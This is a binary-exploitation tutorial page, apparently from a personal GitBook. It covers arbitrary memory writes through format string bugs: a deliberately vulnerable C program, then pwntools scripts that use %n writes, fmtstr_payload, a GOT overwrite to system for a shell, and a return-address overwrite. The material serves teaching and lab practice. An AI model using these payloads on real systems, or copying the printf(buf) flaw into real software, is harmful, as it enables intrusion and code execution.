> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/14.-arbitary-read-write/write.md).

# 0x13 — Arbitrary Write Using Format String Vulnerability

## Overview

The `%n` format specifier writes the **number of characters printed so far** into the memory address pointed to by the corresponding argument. This is the core of arbitrary write via format string vulnerabilities.

With `%n`, an attacker can write **any value** to **any writable address** — including GOT entries, return addresses, and function pointers.

***

## The `%n` Family

| Specifier | Bytes Written | Type          |
| --------- | ------------- | ------------- |
| `%n`      | 4 bytes       | `int *`       |
| `%hn`     | 2 bytes       | `short *`     |
| `%hhn`    | 1 byte        | `char *`      |
| `%lln`    | 8 bytes       | `long long *` |

To write value `V` to address `A` using `%n`:

1. Place address `A` at the correct format string offset
2. Print exactly `V` characters before `%N$n`
3. `printf` writes `V` into `*A`

***

## Controlling the Byte Count

Use `%Nc` to print exactly N characters (spaces):

```
printf("%100c%1$n", addr)
→ prints 100 chars → writes 100 into *addr
```

For large values (e.g., writing `0x7f1234`), writing that many characters is impractical. Instead, write in **2-byte or 1-byte chunks** using `%hn` or `%hhn`.

***

## Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int flag = 0;

void win() {
    printf("You won! Here's your flag.\n");
    exit(0);
}

void vuln() {
    char buf[256];
    printf("Input: ");
    fgets(buf, 256, stdin);
    printf(buf);       // format string vulnerability
    if (flag == 0x1337) {
        win();
    }
}

int main() {
    vuln();
    return 0;
}
```

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
```

### Goal: Write `0x1337` (4919) into `flag` to call `win()`

***

## Manual Arbitrary Write

### Step 1: Find the address of `flag`

```bash
nm ./vuln | grep flag
# 0000000000601044 B flag
```

Or:

```python
elf = ELF('./vuln')
flag_addr = elf.sym['flag']
```

### Step 2: Find your format string offset

```python
from pwn import *

p = process('./vuln')
payload = b'AAAA.' + b'%p.' * 20
p.sendlineafter(b'Input: ', payload)
print(p.recvall(timeout=1))
```

Say offset = 8.

### Step 3: Build the write payload

Write `0x1337` = 4919 (decimal) using `%n`:

```python
from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

flag_addr = elf.sym['flag']
offset    = 8

# We need to print 0x1337 = 4919 chars, then %8$n
# Payload: [padding for 4919 chars][%8$n marker]...[address at offset 8]

# One approach: use %4919c to print 4919 spaces, then %N$n
fmt_str = f'%4919c%{offset}$n'.encode()

# Pad to align the address to 8-byte boundary after the format string
padding = b'A' * ((8 - len(fmt_str) % 8) % 8)
payload = fmt_str + padding + p64(flag_addr)

p.sendlineafter(b'Input: ', payload)
p.recvall(timeout=1)   # absorb the 4919 spaces
p.interactive()
```

***

## Writing Large Values with %hn (2-byte writes)

To write a full 8-byte address (e.g., a libc address into GOT):

Split the target into 4 shorts (2 bytes each) and write them separately:

```python
target_value = 0x00007f1234567890
addr = elf.got['puts']

# Split into 2-byte chunks:
# [addr+6] = 0x0000
# [addr+4] = 0x7f12
# [addr+2] = 0x3456
# [addr+0] = 0x7890
```

pwntools `fmtstr_payload` automates this entirely.

***

## Using pwntools `fmtstr_payload` (Recommended)

pwntools generates the optimal format string payload for arbitrary writes automatically.

```python
from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

offset    = 8
flag_addr = elf.sym['flag']

# Build payload: write 0x1337 to flag_addr
payload = fmtstr_payload(offset, {flag_addr: 0x1337})

p.sendlineafter(b'Input: ', payload)
p.interactive()
```

### Writing multiple values at once:

```python
payload = fmtstr_payload(offset, {
    elf.got['puts']:   libc.sym['system'],    # GOT overwrite
    elf.got['printf']: libc.sym['puts'],      # redirect printf to puts
})
```

***

## GOT Overwrite via Arbitrary Write

The most powerful use: overwrite a GOT entry with `system` so the next library call gives a shell.

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

# First: leak libc base (via %s read, or other leak)
# ... (assume libc_base known)
libc.address = libc_base

# Build payload: overwrite got['puts'] with system
payload = fmtstr_payload(
    offset   = 8,
    writes   = {elf.got['puts']: libc.sym['system']},
    numbwritten = 0
)

p.sendlineafter(b'Input: ', payload)

# Next call to puts() → system() → shell
# If program calls puts("/bin/sh") automatically, we're done!
# Otherwise, trigger puts with "/bin/sh" string somehow
```

***

## Write to Return Address

If you know the stack address of the saved return pointer (via a stack leak), you can write a ROP gadget or one\_gadget directly:

```python
# Assume ret_addr_on_stack is the stack address of the saved rip
payload = fmtstr_payload(offset, {ret_addr_on_stack: one_gadget_addr})
p.sendlineafter(b'Input: ', payload)
# When vuln() returns → jumps to one_gadget → shell
```

***

## How `fmtstr_payload` Works Internally

It:

1. Breaks the target value into 1-byte (`hhn`) or 2-byte (`hn`) chunks
2. Sorts them by value to minimize the `%Nc` padding amounts
3. Places all target addresses at the end of the payload (64-bit null byte workaround)
4. Constructs a compact format string that writes each chunk precisely

***

## Summary

| Task                  | Tool                                  | Specifier |
| --------------------- | ------------------------------------- | --------- |
| Write 1 byte          | `%NNc%offset$hhn`                     | `%hhn`    |
| Write 2 bytes         | `%NNc%offset$hn`                      | `%hn`     |
| Write 4 bytes         | `%NNc%offset$n`                       | `%n`      |
| Write arbitrary value | `fmtstr_payload(offset, {addr: val})` | auto      |
| GOT overwrite         | `fmtstr_payload` → got entry          | auto      |

***

## Key Takeaways

* `%n` writes the count of printed characters to a memory address — your write primitive
* Use `%Nc` to control how many characters are printed before `%n`
* For addresses > 0xffff, use multi-chunk writes with `%hn` or `%hhn`
* pwntools `fmtstr_payload` is the go-to tool for reliable arbitrary writes
* GOT overwrite is the standard goal: redirect a libc function to `system`
* Requires **Partial RELRO** (or no RELRO) — Full RELRO makes GOT read-only


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/14.-arbitary-read-write/write.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
